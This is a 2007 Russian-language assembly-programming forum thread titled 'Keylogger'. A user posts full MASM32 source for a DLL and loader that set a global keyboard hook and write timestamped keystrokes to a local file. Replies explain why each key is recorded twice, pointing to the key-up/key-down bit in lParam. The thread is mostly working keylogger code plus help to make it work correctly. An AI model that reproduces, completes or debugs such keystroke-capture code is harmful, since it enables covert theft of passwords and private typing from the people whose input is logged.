Клавиатурный шпион

Тема в разделе "WASM.WIN32", создана пользователем Devill, 20 ноя 2007.

  1. Devill

    Devill New Member

    Публикаций:
    0
    Регистрация:
    5 ноя 2007
    Сообщения:
    5
    DLL
    Код (Text):
    1. .386
    2.  .model flat,stdcall
    3. option casemap:none
    4.  
    5. include \masm32\include\windows.inc
    6. include \masm32\include\user32.inc
    7. include \masm32\include\kernel32.inc
    8.  
    9. includelib \masm32\lib\user32.lib
    10. includelib \masm32\lib\kernel32.lib
    11.  
    12. .data
    13.  
    14. stm SYSTEMTIME <>
    15. timeformat  DB "HH-mm-ss", 0
    16. time        DB 12 dup (?)
    17. file db 'E:\masm32\PROJECT7\DLL\file.txt',0
    18. entr2 db '-en-',0
    19. entr db '<--D',0
    20.  
    21. .data?
    22.  
    23. hFile HANDLE ?
    24. SizeReadWrite DWORD ?
    25. BufChar db 1 dup (?)
    26.  
    27. .code
    28. DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
    29.     .if reason==DLL_PROCESS_ATTACH
    30.         invoke CreateFile, offset file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    31.         mov hFile,eax
    32.         invoke CloseHandle,hFile
    33.     .elseif reason==DLL_PROCESS_DETACH
    34.         ;код
    35.     .elseif reason==DLL_THREAD_ATTACH
    36.         ;код
    37.     .else    ; DLL_THREAD_DETACH
    38.         ;код
    39.     .endif
    40.     mov  eax,TRUE
    41. ret
    42. DllMain Endp
    43.  
    44. KeyboardProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD      
    45.         LOCAL uScanCode :UINT
    46.         LOCAL KeyState[256] :BYTE
    47.         LOCAL uFlags :UINT
    48.                
    49.         .if lParam > WM_KEYDOWN
    50.        
    51.         invoke MapVirtualKey, wParam, 0
    52.         mov uScanCode, eax
    53.         invoke GetKeyboardState,addr KeyState
    54.        
    55.         invoke ToAscii, wParam, uScanCode,addr KeyState,addr BufChar, uFlags
    56.                
    57.         invoke CreateFile, addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    58.         mov hFile,eax
    59.         invoke SetFilePointer, hFile, 0, 0, FILE_END
    60.        
    61.         invoke GetLocalTime, addr stm
    62.         invoke GetTimeFormat, LOCALE_USER_DEFAULT, NULL, ADDR stm, ADDR timeformat, ADDR time, SIZEOF time
    63.        
    64.         cmp uScanCode, 14
    65.         jne metka      
    66.         invoke WriteFile, hFile,addr entr, 4, ADDR SizeReadWrite, NULL
    67.         jmp metka3
    68.        
    69.         metka:
    70.         cmp BufChar, VK_RETURN
    71.         jne metka2
    72.         invoke WriteFile, hFile,addr entr2, 4, ADDR SizeReadWrite, NULL
    73.         jmp metka3
    74.        
    75.         metka2:
    76.         invoke lstrcat, addr time, addr BufChar
    77.         invoke WriteFile, hFile, addr time, 9, ADDR SizeReadWrite, NULL
    78.        
    79.         metka3:
    80.         invoke CloseHandle,hFile
    81.        
    82.         .endif
    83.         invoke CallNextHookEx, NULL, nCode, wParam, lParam
    84.         ret
    85. KeyboardProc endp
    86. end DllMain
    EXE
    Код (Text):
    1. LibName db "DLL\hello.dll",0
    2. FunctionName db "KeyboardProc",0
    3. DllNotFound db "Cannot load library",0
    4. AppName db "Load Library",0
    5. FunctionNotFound db "TestHello function not found",0
    6. ie db 'IEFrame', 0
    7.  
    8.  .DATA?
    9. hWnd HWND ?
    10. i dd ?
    11. hLib dd ?                                         ; хэндл библиотеки (DLL)
    12. TestHelloAddr dd ?
    13. hKeybHook dd ?
    14.  
    15.  .code
    16. Main PROC
    17.   LOCAL hStdout :DWORD
    18.  
    19.   mov i, 0
    20.   invoke SetConsoleTitle, offset sConsoleTitle
    21.   invoke GetStdHandle, STD_OUTPUT_HANDLE
    22.   mov hStdout,EAX
    23.   invoke WriteConsole, hStdout, offset sWriteText, 16d, NULL, NULL
    24.  
    25.   invoke LoadLibrary,addr LibName
    26.   .if eax==NULL
    27.       invoke MessageBox,NULL,addr DllNotFound,addr AppName,MB_OK
    28.   .else
    29.       mov hLib,eax
    30.       invoke GetProcAddress,hLib,addr FunctionName
    31.   .if eax==NULL
    32.       invoke MessageBox,NULL,addr FunctionNotFound,addr AppName,MB_OK
    33.   .else
    34.       mov TestHelloAddr,eax
    35.      
    36.       invoke SetWindowsHookEx, WH_KEYBOARD, TestHelloAddr, hLib, 0  
    37.      
    38.       metka:
    39.      
    40.       jmp metka
    41.   .endif
    42.       invoke FreeLibrary,hLib
    43.   .endif
    44.       invoke ExitProcess, NULL
    45.  
    46. Main ENDP
    47.  
    48. end Main
    Всё работает нормально но клавиши записываются два раза
    (пример: hh dd rr и тд.)
     
  2. jecxz

    jecxz New Member

    Публикаций:
    0
    Регистрация:
    23 фев 2006
    Сообщения:
    75
    Адрес:
    Brazil
    Если я не ошибаюсь, то записывается и нажатие, и отпускание клавиши, потому и два раза.
     
  3. Devill

    Devill New Member

    Публикаций:
    0
    Регистрация:
    5 ноя 2007
    Сообщения:
    5
    .if lParam > WM_KEYDOWN тока на нажатие стоит
     
  4. q_q

    q_q New Member

    Публикаций:
    0
    Регистрация:
    5 окт 2003
    Сообщения:
    1.706
    Devill
    .if lParam > WM_KEYDOWN тока на нажатие стоит
    Согласно Keystroke Message Flags за признак нажатия/отпускания отвечает старший бит lParam.
    WM_KEYDOWN == 0x0100, т.е. твое условие не имеет отношения к проверке нажатия/отпускания.